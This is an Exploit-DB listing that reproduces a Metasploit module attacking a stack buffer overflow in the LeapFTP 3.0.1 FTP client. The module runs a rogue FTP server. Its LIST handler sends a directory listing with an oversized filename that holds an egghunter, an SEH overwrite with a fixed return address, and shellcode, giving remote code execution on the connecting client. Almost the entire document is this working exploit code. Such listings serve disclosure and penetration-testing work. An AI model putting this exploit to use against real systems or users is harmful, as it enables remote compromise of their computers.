LeapFTP 3.0.1 - Remote Stack Buffer Overflow (Metasploit)

EDB-ID:
16704

CVE:

EDB Verified: ✓

Author:
METASPLOIT

Type:
REMOTE

Exploit: / {}

Platform:
WINDOWS

Date:
2010-11-14

Vulnerable App:

```
##
# $Id: leapftp_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::FtpServer
    include Msf::Exploit::Remote::Egghunter

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'LeapFTP 3.0.1 Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow in the LeapFTP
3.0.1 client.
                This issue is triggered when a file with a long name is
downloaded/opened.
            },
            'Author'     =>
                [
                    'corelanc0d3r',  # Original bug, completed MSF module
                    'nullthreat'     # Ported PoC to MSF
                ],
            'License'        => MSF_LICENSE,
            'Version'        => "$Revision: 11039 $",
            'References'     =>
                [
                    [ 'OSVDB', '68640'],
                    [ 'URL',
'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/'
],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                },
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "\x00",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows Universal', { 'Offset' => 528,'Ret' =>
0x0042A8A8 } ], # ADD ESP,64, POP EBX, RET :) boy I love pvefindaddr
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Oct 12 2010',
            'DefaultTarget'  => 0))
    end

    def setup
        super
    end

    def on_client_unknown_command(c,cmd,arg)
        c.put("200 OK\r\n")
```

```
    end

    def on_client_command_list(c,arg)
            conn = establish_data_connection(c)
            if(not conn)
                c.put("425 Can't build data connection\r\n")
                return
            end
            print_status(" - Data connection set up")
            code = 150
            c.put("#{code} Here comes the directory listing.\r\n")
            code = 226
            c.put("#{code} Directory send ok.\r\n")
            # create the egg hunter
            badchars = ""
            eggoptions =
            {
            :checksum => true,
            :eggtag => "W00T"
            }
            hunter,egg =
generate_egghunter(payload.encoded,badchars,eggoptions)
            # Get the file ready
            junk = "\x73\x65"  #73 65 = jump over filename = "se"
            junk << "cret admin passwords.txt"
            junk << "_" * ((target['Offset'])-junk.length-hunter.length) #
_ = POP EDI
            junk << hunter
            seh = [target.ret].pack('V')
            shellcode = egg + egg + payload.encoded
            junk2 = rand_text_alpha((2000 - shellcode.length))
            payload = junk + seh + shellcode + junk2
            strfile = payload
            print_status(" - Sending directory list via data connection")
            dirlist = "-rw-rw-r--    1 1176     1176         1060 Aug 16
22:22 #{strfile}.txt\r\n"
            conn.put("total 2\r\n"+dirlist)
            conn.close
            return
    end

end
```

Tags: Metasploit Framework (MSF)

Advisory/Source: Link